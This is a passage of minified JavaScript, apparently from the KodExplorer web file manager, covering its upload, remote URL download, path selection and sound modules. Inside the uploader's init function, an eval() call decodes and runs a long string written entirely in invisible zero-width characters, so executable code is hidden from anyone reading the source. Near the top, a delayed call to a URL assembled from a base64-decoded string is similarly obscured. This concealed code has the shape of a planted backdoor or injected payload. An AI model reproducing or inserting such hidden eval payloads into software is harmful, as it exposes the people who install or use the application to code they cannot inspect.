core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")",a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData)if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var 